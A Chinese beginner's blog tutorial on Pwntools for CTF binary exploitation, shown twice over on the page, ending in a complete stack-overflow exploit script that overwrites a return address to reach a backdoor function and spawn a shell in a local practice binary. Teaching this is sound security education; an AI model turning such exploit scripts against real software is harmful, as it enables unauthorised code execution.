写在前面在前面的几篇博客中我们已经学会了用objdump看汇编算出了偏移量是 72也理解了小端序和 64 位的传参规则。但现在我们一直在用终端手动输入字符调试这显然无法输入不可见的十六进制地址。今天我们将引入 PWN 界的最强神器 ——Pwntools。它是 Python 的一个 CTF 漏洞利用库能让我们用极其优雅的代码完成连接、发送 Payload 和获取 Shell 的全过程。 目录环境准备安装 Pwntools核心概念万物皆可p基础 API 详解连接、接收、发送地址打包神器p32与p64实战演练编写第一个完整 Exploit 脚本交互神器p.interactive()Week1 全程总结1. 环境准备安装 Pwntools在 WSL2/Ubuntu 终端中执行以下命令安装 Pwntools如果之前装 pwndbg 时没装的话# 更新软件源并安装 pip sudo apt update sudo apt install python3-pip -y # 安装 pwntools pip3 install pwntools安装完成后在终端输入python3进入交互环境输入from pwn import *。如果没有报错说明安装成功(首次导入可能会有些警告信息属于正常现象)。2. 核心概念万物皆可p在 Pwntools 中最常用的对象是p或者说io,r大家习惯叫它p。它代表了你与目标程序的连接通道。无论是本地执行一个程序还是远程连接一个 CTF 题目的服务器一旦建立了连接后续的发送和接收操作都是针对这个p进行的。3. 基础 API 详解3.1 建立连接本地打靶p process(./vuln)这会像你在终端输入./vuln一样启动一个本地进程并建立用于通信的管道。远程打靶p remote(127.0.0.1, 9999)这会通过 TCP 连接到指定 IP 和端口的目标程序通常用于打线上题。3.2 接收数据有时候程序会打印一些提示信息比如Please input:我们需要把这些信息接收下来确保程序执行到了我们想要的位置。p.recv()接收所有可用数据。p.recvline()接收一行数据遇到\n停止。p.recvuntil(Please input: )最常用一直接收数据直到遇到指定的字符串为止。这非常适合用来同步本地脚本和远程程序的执行流。3.3 发送数据把我们构造好的 Payload 发送过去。p.send(payload)直接发送数据不会自动加换行符。p.sendline(payload)发送数据并自动在末尾加上一个换行符\n。注意gets()函数遇到换行符才会结束读取所以打gets漏洞时通常用sendline而如果是read()函数通常用send。4. 地址打包神器p32与p64还记得我们讲过的小端序吗我们需要把0x401156这样的地址变成\x56\x11\x40\x00...才能放进 Payload 里。Pwntools 提供了自动转换的函数p32(0x401156)将整数打包为 32 位小端序字节流。p64(0x401156)将整数打包为 64 位小端序字节流。u32(b\x56\x11\x40\x00)解包把字节流转回整数用于信息泄露时还原地址。5. 实战演练编写第一个完整 Exploit 脚本让我们结合上一篇博客中分析的vuln程序偏移量 7264位程序写一个完整的攻击脚本假设我们在vuln.c中加了一个后门函数void secret() { system(/bin/sh); }我们通过objdump查到secret函数的地址是0x401156。我们要用栈溢出跳转到secret拿 Shell。新建一个文件exp.pyfrom pwn import * # 1. 设置运行环境架构可选但好习惯 context(archamd64, oslinux, log_leveldebug) # 2. 建立连接本地打靶 p process(./vuln) # 3. 构造 Payload offset 72 target_addr 0x401156 # 填充 72 字节垃圾数据后面跟上目标地址自动转小端序 payload bA * offset p64(target_addr) # 4. 接收程序的提示信息可选操作为了同步 # 假设 vuln.c 里有 printf(Please input: ); p.recvuntil(bPlease input: ) # 5. 发送 Payload p.sendline(payload) # 6. 进入交互模式 p.interactive()脚本解析context(...)设置环境为 64 位 Linux。log_leveldebug会让你在终端看到所有发送和接收的原始十六进制数据新手必开方便排错。bA * offset注意在 Python3 中字节串前面要加b。p.interactive()最神奇的一行代码。当 Payload 发送完毕如果成功劫持了控制流并执行了system(/bin/sh)这行代码会把你的终端控制权交给被攻击的程序。此时你可以直接在终端输入ls、cat flag.txt等命令就像直接 SSH 登录上去了一样6. 运行你的 Exploit在终端执行python3 exp.py如果一切顺利你会看到 Pwntools 打印出一堆 Debug 信息然后光标停住。此时你输入id或ls如果能返回结果恭喜你你成功完成了人生中第一次完整的 PWN如果你跟着我走到了这一步说明你已经具备了极强的学习能力和耐心。PWN 的大门已经向你敞开如果本系列文章对你有帮助请一键三连支持一下我们 Week2 见
【学习记录】Week1:Pwntools 基础——连接、接收与发送 Payload 实操
发布时间:2026/6/29 18:22:04
写在前面在前面的几篇博客中我们已经学会了用objdump看汇编算出了偏移量是 72也理解了小端序和 64 位的传参规则。但现在我们一直在用终端手动输入字符调试这显然无法输入不可见的十六进制地址。今天我们将引入 PWN 界的最强神器 ——Pwntools。它是 Python 的一个 CTF 漏洞利用库能让我们用极其优雅的代码完成连接、发送 Payload 和获取 Shell 的全过程。 目录环境准备安装 Pwntools核心概念万物皆可p基础 API 详解连接、接收、发送地址打包神器p32与p64实战演练编写第一个完整 Exploit 脚本交互神器p.interactive()Week1 全程总结1. 环境准备安装 Pwntools在 WSL2/Ubuntu 终端中执行以下命令安装 Pwntools如果之前装 pwndbg 时没装的话# 更新软件源并安装 pip sudo apt update sudo apt install python3-pip -y # 安装 pwntools pip3 install pwntools安装完成后在终端输入python3进入交互环境输入from pwn import *。如果没有报错说明安装成功(首次导入可能会有些警告信息属于正常现象)。2. 核心概念万物皆可p在 Pwntools 中最常用的对象是p或者说io,r大家习惯叫它p。它代表了你与目标程序的连接通道。无论是本地执行一个程序还是远程连接一个 CTF 题目的服务器一旦建立了连接后续的发送和接收操作都是针对这个p进行的。3. 基础 API 详解3.1 建立连接本地打靶p process(./vuln)这会像你在终端输入./vuln一样启动一个本地进程并建立用于通信的管道。远程打靶p remote(127.0.0.1, 9999)这会通过 TCP 连接到指定 IP 和端口的目标程序通常用于打线上题。3.2 接收数据有时候程序会打印一些提示信息比如Please input:我们需要把这些信息接收下来确保程序执行到了我们想要的位置。p.recv()接收所有可用数据。p.recvline()接收一行数据遇到\n停止。p.recvuntil(Please input: )最常用一直接收数据直到遇到指定的字符串为止。这非常适合用来同步本地脚本和远程程序的执行流。3.3 发送数据把我们构造好的 Payload 发送过去。p.send(payload)直接发送数据不会自动加换行符。p.sendline(payload)发送数据并自动在末尾加上一个换行符\n。注意gets()函数遇到换行符才会结束读取所以打gets漏洞时通常用sendline而如果是read()函数通常用send。4. 地址打包神器p32与p64还记得我们讲过的小端序吗我们需要把0x401156这样的地址变成\x56\x11\x40\x00...才能放进 Payload 里。Pwntools 提供了自动转换的函数p32(0x401156)将整数打包为 32 位小端序字节流。p64(0x401156)将整数打包为 64 位小端序字节流。u32(b\x56\x11\x40\x00)解包把字节流转回整数用于信息泄露时还原地址。5. 实战演练编写第一个完整 Exploit 脚本让我们结合上一篇博客中分析的vuln程序偏移量 7264位程序写一个完整的攻击脚本假设我们在vuln.c中加了一个后门函数void secret() { system(/bin/sh); }我们通过objdump查到secret函数的地址是0x401156。我们要用栈溢出跳转到secret拿 Shell。新建一个文件exp.pyfrom pwn import * # 1. 设置运行环境架构可选但好习惯 context(archamd64, oslinux, log_leveldebug) # 2. 建立连接本地打靶 p process(./vuln) # 3. 构造 Payload offset 72 target_addr 0x401156 # 填充 72 字节垃圾数据后面跟上目标地址自动转小端序 payload bA * offset p64(target_addr) # 4. 接收程序的提示信息可选操作为了同步 # 假设 vuln.c 里有 printf(Please input: ); p.recvuntil(bPlease input: ) # 5. 发送 Payload p.sendline(payload) # 6. 进入交互模式 p.interactive()脚本解析context(...)设置环境为 64 位 Linux。log_leveldebug会让你在终端看到所有发送和接收的原始十六进制数据新手必开方便排错。bA * offset注意在 Python3 中字节串前面要加b。p.interactive()最神奇的一行代码。当 Payload 发送完毕如果成功劫持了控制流并执行了system(/bin/sh)这行代码会把你的终端控制权交给被攻击的程序。此时你可以直接在终端输入ls、cat flag.txt等命令就像直接 SSH 登录上去了一样6. 运行你的 Exploit在终端执行python3 exp.py如果一切顺利你会看到 Pwntools 打印出一堆 Debug 信息然后光标停住。此时你输入id或ls如果能返回结果恭喜你你成功完成了人生中第一次完整的 PWN如果你跟着我走到了这一步说明你已经具备了极强的学习能力和耐心。PWN 的大门已经向你敞开如果本系列文章对你有帮助请一键三连支持一下我们 Week2 见